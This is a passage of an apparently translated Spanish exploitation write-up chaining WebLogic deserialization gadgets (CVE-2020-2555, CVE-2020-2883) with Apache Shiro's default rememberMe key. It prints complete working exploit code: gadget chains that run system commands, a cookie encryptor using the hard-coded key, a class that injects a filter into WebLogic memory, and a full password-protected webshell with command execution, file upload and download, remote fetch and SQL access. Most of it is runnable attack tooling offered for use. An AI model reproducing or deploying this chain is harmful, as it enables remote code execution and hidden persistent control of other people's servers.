this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), this.getClassArray(), false);
}
return method.invoke(oTarget, this.m_aoParam);
} catch (NullPointerException var4) {
throw new RuntimeException(this.suggestExtractFailureCause(clz));
} catch (Exception var5) {
throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
}
}
}
es exactamente igual que transform() de la cadena CC, por lo que también es necesario buscar una clase como ChainedTransformer```java
public E extract(Object oTarget) {
ValueExtractor[] aExtractor = this.getExtractors();
int i = 0;
for(int c = aExtractor.length; i < c && oTarget != null; ++i) {
oTarget = aExtractor[i].extract(oTarget);
}
return oTarget;
}
this.getExtractors() se origina en su clase padre AbstractCompositeExtractor```java protected ValueExtractor[] m_aExtractor; public ValueExtractor[] getExtractors() { return this.m_aExtractor; }
Mientras que en com.tangosol.util.filter.LimitFilter#toString se desencadena extract()```java
public String toString() {
StringBuilder sb = new StringBuilder("LimitFilter: (");
sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);
if (this.m_comparator instanceof ValueExtractor) {
ValueExtractor extractor = (ValueExtractor)this.m_comparator;
sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));
} else if (this.m_comparator != null) {
sb.append(", comparator=").append(this.m_comparator);
}
sb.append("])");
return sb.toString();
}
Presta atención a estos```java ValueExtractor extractor = (ValueExtractor)this.m_comparator; extractor.extract(this.m_oAnchorTop) extractor.extract(this.m_oAnchorBottom)
Ver los campos de esta clase```java
private Comparator m_comparator;
private Object m_oAnchorTop;
private Object m_oAnchorBottom;
m_comparator es de tipo Comparator, y ChainedTransformer implementa esta interfaz.

Por lo tanto, m_comparator puede contener un objeto chainedExtractor, y luego se pasa Runtime.class a m_oAnchorTop.
Resumen: usar BadAttributeValueExpException para activar toString() de LimitFilter, y luego ChainedExtractor llama en cadena a extract() para ejecutar Runtime.```java package org.chabug.cve;
import com.tangosol.util.extractor.ChainedExtractor; import com.tangosol.util.extractor.ReflectionExtractor; import com.tangosol.util.filter.LimitFilter; import org.chabug.util.Serializables;
import javax.management.BadAttributeValueExpException; import java.lang.reflect.Field;
public class CVE_2020_2555 { public static void main(String[] args) throws Exception { ReflectionExtractor extractor1 = new ReflectionExtractor( "getMethod", new Object[]{"getRuntime", new Class[0]}
);
// get invoke() to execute exec()
ReflectionExtractor extractor2 = new ReflectionExtractor(
"invoke",
new Object[]{null, new Object[0]}
);
// invoke("exec","calc")
ReflectionExtractor extractor3 = new ReflectionExtractor(
"exec",
new Object[]{new String[]{"cmd", "/c", "calc"}}
);
ReflectionExtractor[] extractors = {
extractor1,
extractor2,
extractor3,
};
ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);
LimitFilter limitFilter = new LimitFilter();
//m_comparator
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);
//m_oAnchorTop
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);
// serialize
byte[] buf = Serializables.serializeToBytes(badAttributeValueExpException);
Serializables.deserializeFromBytes(buf);
}
}
### CVE-2020-2883
2883 es en realidad la cadena que derivamos anteriormente de las dos cadenas CC.```java
package org.chabug.cve;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import org.chabug.util.Serializables;
import ysoserial.payloads.util.Reflections;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CVE_2020_2883 {
public static void main(String[] args) throws Exception {
ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}});
ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}});
ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", "calc"}});
ValueExtractor[] valueExtractors = new ValueExtractor[]{
reflectionExtractor1,
reflectionExtractor2,
reflectionExtractor3,
};
Class clazz = ChainedExtractor.class.getSuperclass();
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
reflectionExtractor
};
ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
queue.add("1");
queue.add("1");
m_aExtractor.set(chainedExtractor1, valueExtractors);
Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = Runtime.class;
queueArray[1] = "1";
byte[] buf = Serializables.serializeToBytes(queue);
}
}
toda la cadena de explotación```java /*
Las primeras mitades de los dos CVE son iguales, ambas construyen una cadena a través de ChainedExtractor hasta Runtime. En el CVE-2016-2555 se utiliza BadAttributeValueExpException, y en el CVE-2016-2883 se emplea PriorityQueue.
## Shiro-550 rememberMe con clave codificada que provoca RCE por deserialización
En primer lugar, hay que saber que Shiro es un framework utilizado para la autenticación de identidad, cuyo principio se basa en los filtros de servlet. La biblioteca Shiro define ShiroFilter en web.xml, con un ámbito de aplicación sobre todas las URL del directorio actual.

El manejo de cookies se realiza en la clase `CookieRememberMeManager`, que hereda de `AbstractRememberMeManager`. En `AbstractRememberMeManager` está codificada la clave de cifrado `DEFAULT_CIPHER_KEY_BYTES`.

Se utiliza cifrado simétrico AES CBC, y luego la serialización y deserialización se realizan mediante `org.apache.shiro.io.DefaultSerializer`.

Conociendo su algoritmo de cifrado y la clave codificada, se puede construir un objeto malicioso para provocar RCE por deserialización. El algoritmo de cifrado es el siguiente:```java
package org.chabug.util;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
public class EncryptUtil {
private static final String ENCRY_ALGORITHM = "AES";
private static final String CIPHER_MODE = "AES/CBC/PKCS5Padding";
private static final byte[] IV = "aaaaaaaaaaaaaaaa".getBytes(); // 16字节IV
public EncryptUtil() {
}
public static byte[] encrypt(byte[] clearTextBytes, byte[] pwdBytes) {
try {
SecretKeySpec keySpec = new SecretKeySpec(pwdBytes, ENCRY_ALGORITHM);
Cipher cipher = Cipher.getInstance(CIPHER_MODE);
IvParameterSpec iv = new IvParameterSpec(IV);
cipher.init(1, keySpec, iv);
byte[] cipherTextBytes = cipher.doFinal(clearTextBytes);
return cipherTextBytes;
} catch (NoSuchPaddingException var6) {
var6.printStackTrace();
} catch (NoSuchAlgorithmException var7) {
var7.printStackTrace();
} catch (BadPaddingException var8) {
var8.printStackTrace();
} catch (IllegalBlockSizeException var9) {
var9.printStackTrace();
} catch (InvalidKeyException var10) {
var10.printStackTrace();
} catch (Exception var11) {
var11.printStackTrace();
}
return null;
}
public static String shiroEncrypt(String key, byte[] objectBytes) {
byte[] pwd = Base64.decode(key);
byte[] cipher = encrypt(objectBytes, pwd);
assert cipher != null;
byte[] output = new byte[pwd.length + cipher.length];
byte[] iv = IV;
System.arraycopy(iv, 0, output, 0, iv.length);
System.arraycopy(cipher, 0, output, pwd.length, cipher.length);
return Base64.encode(output);
}
}
Generar cookie rememberMe con CC5```java package org.chabug.shiro;
import org.chabug.util.EncryptUtil; import org.chabug.util.Serializables; import ysoserial.payloads.CommonsCollections5;
public class Shiro550 { public static void main(String[] args) throws Exception { CommonsCollections5 cc = new CommonsCollections5(); Object calc = cc.getObject("calc"); byte[] bytes = Serializables.serializeToBytes(calc); String key = "kPH+bIxk5D2deZiIxcaaaA=="; String rememberMe = EncryptUtil.shiroEncrypt(key, bytes); System.out.println(rememberMe); } }
bp enviar paquete

Se abre la calculadora en el objetivo

## WebLogic + Shiro Deserialización para registrar filter shell en memoria con un solo clic
Ahora vamos al tema principal, primero describamos la idea general:
El objetivo encontrado shiro no tiene un gadget disponible, pero se detectó que su clave es la predeterminada `kPH+bIxk5D2deZiIxcaaaA==`, a través de la página de error 404 se descubrió que es WebLogic, y mediante el gadget de CVE-2020-2883 se logró RCE exitosamente, pero no hay acceso a la red, no se puede obtener una reverse shell, y además es SpringMVC, no se puede acceder escribiendo archivos jsp, por lo que solo se puede implementar un filter shell en memoria.
Resumiendo:
1. La entrada de la deserialización es shiro
2. El gadget es 2883
3. 2883 define bytecode mediante URLClassLoader
4. En el bytecode se escribe el código para registrar el shell en memoria
5. El filter shell se registra en la memoria de weblogic
Primero, resolver el problema de la explotación del gadget shiro+2883, en realidad es tomar el objeto queue generado por 2883 y cifrarlo con AES base64 en shiro.```java
byte[] buf = Serializables.serializeToBytes(queue);
String key = "kPH+bIxk5D2deZiIxcaaaA==";
String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
System.out.println(rememberMe);
Para definir el bytecode, primero se debe escribir la clase del bytecode, es decir, el código del shell inyectado en memoria.```java package org.chabug.memshell;
import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Map;
public class InjectFilterShell { static { try { Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread"); Method m = executeThread.getDeclaredMethod("getCurrentWork"); Object currentWork = m.invoke(Thread.currentThread());
Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
connectionHandlerF.setAccessible(true);
Object obj = connectionHandlerF.get(currentWork);
Field requestF = obj.getClass().getDeclaredField("request");
requestF.setAccessible(true);
obj = requestF.get(obj);
Field contextF = obj.getClass().getDeclaredField("context");
contextF.setAccessible(true);
Object context = contextF.get(obj);
Field classLoaderF = context.getClass().getDeclaredField("classLoader");
classLoaderF.setAccessible(true);
ClassLoader cl = (ClassLoader) classLoaderF.get(context);
Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses");
cachedClassesF.setAccessible(true);
Object cachedClass = cachedClassesF.get(cl);
Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class);
if (getM.invoke(cachedClass, "shell") == null) {
byte[] codeClass = getBytesByFile("C:/Users/Administrator/Desktop/AntSwordFilterShell.class");
Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class evilFilterClass = (Class) defineClass.invoke(cl, codeClass, 0, codeClass.length);
String evilName = "gameName" + System.currentTimeMillis();
String filterName = "gameFilter" + System.currentTimeMillis();
String[] url = new String[]{"/*"};
Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class);
putM.invoke(cachedClass, filterName, evilFilterClass);
Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");
Object filterManager = getFilterManagerM.invoke(context);
Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
registerFilterM.setAccessible(true);
registerFilterM.invoke(filterManager, evilName, filterName, url, null, null, null);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public static byte[] getBytesByFile(String pathStr) {
File file = new File(pathStr);
try {
FileInputStream fis = new FileInputStream(file);
ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
byte[] b = new byte[1000];
int n;
while ((n = fis.read(b)) != -1) {
bos.write(b, 0, n);
}
fis.close();
byte[] data = bos.toByteArray();
bos.close();
return data;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
Después de compilar y empaquetar el jar, se escribe mediante el comando base64 -d, para que posteriormente carguemos este jar a través de URLClassLoader. Dado que el código está en un bloque estático, se ejecutará automáticamente al cargarlo.
Ahora escribe el código para cargar el jar anterior mediante URLClassLoader a través de 2883.```java
package org.chabug.memshell;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import org.chabug.util.EncryptUtil;
import org.chabug.util.Serializables;
import ysoserial.payloads.util.Reflections;
import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.PriorityQueue;
public class CVE_2020_2883_URLClassLoader {
public static void main(String[] args) {
try {
ReflectionExtractor extractor1 = new ReflectionExtractor(
"getConstructor",
new Object[]{new Class[]{URL[].class}}
);
ReflectionExtractor extractor2 = new ReflectionExtractor(
"newInstance",
new Object[]{new Object[]{new URL[]{new URL("file:///C:/Users/Administrator/Desktop/tttt.jar")}}}
);
// load filter shell
ReflectionExtractor extractor3 = new ReflectionExtractor(
"loadClass",
new Object[]{"org.chabug.memshell.InjectFilterShell"}
);
ReflectionExtractor extractor4 = new ReflectionExtractor(
"getConstructor",
new Object[]{new Class[]{}}
);
ReflectionExtractor extractor5 = new ReflectionExtractor(
"newInstance",
new Object[]{new Object[]{}}
);
ValueExtractor[] valueExtractors = new ValueExtractor[]{
extractor1,
extractor2,
extractor3,
extractor4,
extractor5,
};
Class clazz = ChainedExtractor.class.getSuperclass();
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
reflectionExtractor
};
ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
queue.add("1");
queue.add("1");
m_aExtractor.set(chainedExtractor1, valueExtractors);
Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = URLClassLoader.class;
queueArray[1] = "1";
byte[] buf = Serializables.serializeToBytes(queue);
String key = "kPH+bIxk5D2deZiIxcaaaA==";
String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
System.out.println(rememberMe);
} catch (Exception e) {
e.printStackTrace();
}
}
}
Al cargar la clase org.chabug.memshell.InjectFilterShell a través de URLClassLoader, se ejecutará automáticamente el bloque static, que leerá los bytes de C:/Users/Administrator/Desktop/AntSwordFilterShell.class y luego inyectará la clase AntSwordFilterShell mediante la definición de bytecode. AntSwordFilterShell es nuestro Filter shell. El código es el siguiente:```java package org.chabug.memshell;
import javax.servlet.; import java.io.; import java.net.HttpURLConnection; import java.net.URL; import java.sql.*; import java.text.SimpleDateFormat;
public class AntSwordFilterShell implements Filter{
String Pwd = "th1sIsMySecretPassW0rd!"; //连接密码
String encoder = ""; // default
String cs = "UTF-8"; // 脚本自身编码
String EC(String s) throws Exception {
if (encoder.equals("hex") || encoder == "hex") return s;
return new String(s.getBytes("ISO-8859-1"), cs);
}
String showDatabases(String encode, String conn) throws Exception {
String sql = "show databases"; // mysql
String columnsep = "\t";
String rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
String showTables(String encode, String conn, String dbname) throws Exception {
String sql = "show tables from " + dbname; // mysql
String columnsep = "\t";
String rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
String showColumns(String encode, String conn, String dbname, String table) throws Exception {
String columnsep = "\t";
String rowsep = "";
String sql = "select * from " + dbname + "." + table + " limit 0,0"; // mysql
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
String query(String encode, String conn, String sql) throws Exception {
String columnsep = "\t|\t"; // general
String rowsep = "\r\n";
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname)
throws Exception {
String ret = "";
conn = (EC(conn));
String[] x = conn.trim().replace("\r\n", "\n").split("\n");
Class.forName(x[0].trim());
String url = x[1] + "&characterEncoding=" + decode(EC(encode), encoder);
Connection c = DriverManager.getConnection(url);
Statement stmt = c.createStatement();
ResultSet rs = stmt.executeQuery(sql);
ResultSetMetaData rsmd = rs.getMetaData();
if (needcoluname) {
for (int i = 1; i <= rsmd.getColumnCount(); i++) {
String columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (int i = 1; i <= rsmd.getColumnCount(); i++) {
String columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
String WwwRootPathCode(ServletRequest r) throws Exception {
// String d = r.getSession().getServletContext().getRealPath("/");
String d = this.getClass().getClassLoader().getResource("/").getPath();
String s = "";
if (!d.substring(0, 1).equals("/")) {
File[] roots = File.listRoots();
for (int i = 0; i < roots.length; i++) {
s += roots[i].toString().substring(0, 2) + "";
}
} else {
s += "/";
}
return s;
}
String FileTreeCode(String dirPath) throws Exception {
File oF = new File(dirPath), l[] = oF.listFiles();
String s = "", sT, sQ, sF = "";
java.util.Date dt;
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (int i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : "";
sQ += l[i].canWrite() ? " W" : "";
if (l[i].isDirectory()) {
s += l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
} else {
sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
}
}
return s += sF;
}
String ReadFileCode(String filePath) throws Exception {
String l = "", s = "";
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath))));
while ((l = br.readLine()) != null) {
s += l + "\r\n";
}
br.close();
return s;
}
String WriteFileCode(String filePath, String fileContext) throws Exception {
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(filePath))));
bw.write(fileContext);
bw.close();
return "1";
}
String DeleteFileOrDirCode(String fileOrDirPath) throws Exception {
File f = new File(fileOrDirPath);
if (f.isDirectory()) {
File x[] = f.listFiles();
for (int k = 0; k < x.length; k++) {
if (!x[k].delete()) {
DeleteFileOrDirCode(x[k].getPath());
}
}
}
f.delete();
return "1";
}
void DownloadFileCode(String filePath, ServletResponse r) throws Exception {
int n;
byte[] b = new byte[512];
r.reset();
ServletOutputStream os = r.getOutputStream();
BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath));
os.write(("->|").getBytes(), 0, 3);
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.write(("|<-").getBytes(), 0, 3);
os.close();
is.close();
}
String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {
String h = "0123456789ABCDEF";
File f = new File(savefilePath);
f.createNewFile();
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
}
os.close();
return "1";
}
String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {
File sf = new File(sourceFilePath), df = new File(targetFilePath);
if (sf.isDirectory()) {
if (!df.exists()) {
df.mkdir();
}
File z[] = sf.listFiles();
for (int j = 0; j < z.length; j++) {
CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName());
}
} else {
FileInputStream is = new FileInputStream(sf);
FileOutputStream os = new FileOutputStream(df);
int n;
byte[] b = new byte[1024];
while ((n = is.read(b, 0, 1024)) != -1) {
os.write(b, 0, n);
}
is.close();
os.close();
}
return "1";
}
String RenameFileOrDirCode(String oldName, String newName) throws Exception {
File sf = new File(oldName), df = new File(newName);
sf.renameTo(df);
return "1";
}
String CreateDirCode(String dirPath) throws Exception {
File f = new File(dirPath);
f.mkdir();
return "1";
}
String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {
File f = new File(fileOrDirPath);
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt = fm.parse(aTime);
f.setLastModified(dt.getTime());
return "1";
}
String WgetCode(String urlPath, String saveFilePath) throws Exception {
URL u = new URL(urlPath);
int n = 0;
FileOutputStream os = new FileOutputStream(saveFilePath);
HttpURLConnection h = (HttpURLConnection) u.openConnection();
InputStream is = h.getInputStream();
byte[] b = new byte[512];
while ((n = is.read(b)) != -1) {
os.write(b, 0, n);
}
os.close();
is.close();
h.disconnect();
return "1";
}
String SysInfoCode(ServletRequest r) throws Exception {
// String d = r.getServletContext().getRealPath("/"); String d = this.getClass().getClassLoader().getResource("/").getPath(); String serverInfo = System.getProperty("os.name"); String separator = File.separator; String user = System.getProperty("user.name"); String driverlist = WwwRootPathCode(r); return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user; }
boolean isWin() {
String osname = System.getProperty("os.name");
osname = osname.toLowerCase();
if (osname.startsWith("win"))
return true;
return false;
}
String ExecuteCommandCode(String cmdPath, String command) throws Exception {
StringBuffer sb = new StringBuffer("");
String[] c = {cmdPath, !isWin() ? "-c" : "/c", command};
Process p = Runtime.getRuntime().exec(c);
CopyInputStream(p.getInputStream(), sb);
CopyInputStream(p.getErrorStream(), sb);
return sb.toString();
}
String decode(String str) {
byte[] bt = null;
try {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
} catch (IOException e) {
e.printStackTrace();
}
return new String(bt);
}
String decode(String str, String encode) {
if (encode.equals("hex") || encode == "hex") {
if (str == "null" || str.equals("null")) {
return "";
}
StringBuilder sb = new StringBuilder();
StringBuilder temp = new StringBuilder();
try {
for (int i = 0; i < str.length() - 1; i += 2) {
String output = str.substring(i, (i + 2));
int decimal = Integer.parseInt(output, 16);
sb.append((char) decimal);
temp.append(decimal);
}
} catch (Exception e) {
e.printStackTrace();
}
return sb.toString();
} else if (encode.equals("base64") || encode == "base64") {
byte[] bt = null;
try {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
} catch (IOException e) {
e.printStackTrace();
}
return new String(bt);
}
return str;
}
void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
String l;
BufferedReader br = new BufferedReader(new InputStreamReader(is));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
br.close();
}
public void init(FilterConfig f) throws ServletException {
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
if (request.getParameter("size") != null) {
response.setContentType("text/html");
response.setCharacterEncoding(cs);
StringBuffer sb = new StringBuffer("");
try {
String funccode = EC(request.getParameter(Pwd) + "");
String z0 = decode(EC(request.getParameter("z0") + ""), encoder);
String z1 = decode(EC(request.getParameter("z1") + ""), encoder);
String z2 = decode(EC(request.getParameter("z2") + ""), encoder);
String z3 = decode(EC(request.getParameter("z3") + ""), encoder);
String[] pars = {z0, z1, z2, z3};
sb.append("->|");
if (funccode.equals("B")) {
sb.append(FileTreeCode(pars[1]));
} else if (funccode.equals("C")) {
sb.append(ReadFileCode(pars[1]));
} else if (funccode.equals("D")) {
sb.append(WriteFileCode(pars[1], pars[2]));
} else if (funccode.equals("E")) {
sb.append(DeleteFileOrDirCode(pars[1]));
} else if (funccode.equals("F")) {
DownloadFileCode(pars[1], response);
} else if (funccode.equals("U")) {
sb.append(UploadFileCode(pars[1], pars[2]));
} else if (funccode.equals("H")) {
sb.append(CopyFileOrDirCode(pars[1], pars[2]));
} else if (funccode.equals("I")) {
sb.append(RenameFileOrDirCode(pars[1], pars[2]));
} else if (funccode.equals("J")) {
sb.append(CreateDirCode(pars[1]));
} else if (funccode.equals("K")) {
sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));
} else if (funccode.equals("L")) {
sb.append(WgetCode(pars[1], pars[2]));
} else if (funccode.equals("M")) {
sb.append(ExecuteCommandCode(pars[1], pars[2]));
} else if (funccode.equals("N")) {
sb.append(showDatabases(pars[0], pars[1]));
} else if (funccode.equals("O")) {
sb.append(showTables(pars[0], pars[1], pars[2]));
} else if (funccode.equals("P")) {
sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));
} else if (funccode.equals("Q")) {
sb.append(query(pars[0], pars[1], pars[2]));
} else if (funccode.equals("A")) {
sb.append(SysInfoCode(request));
}
} catch (Exception e) {
sb.append("ERROR" + "://" + e.toString());
e.printStackTrace();
}
sb.append("|<-");
response.getWriter().print(sb.toString());
} else {
chain.doFilter(request, response);
}
}
public void destroy() {
}
}
Ahora se puede usar directamente. Primero, empaqueta `org.chabug.memshell.InjectFilterShell` en un jar.```bash
jar cvf tttt.jar org\chabug\memshell\InjectFilterShell.class

Luego, escribe tttt.jar y AntSwordFilterShell.class en el destino. Finalmente, usa CVE_2020_2883_URLClassLoader para generar la cookie rememberMe y atacar el objetivo.
URLClassLoader -> tttt.jar -> InjectFilterShell static -> defineClass byte -> AntSwordFilterShell
Demostración:
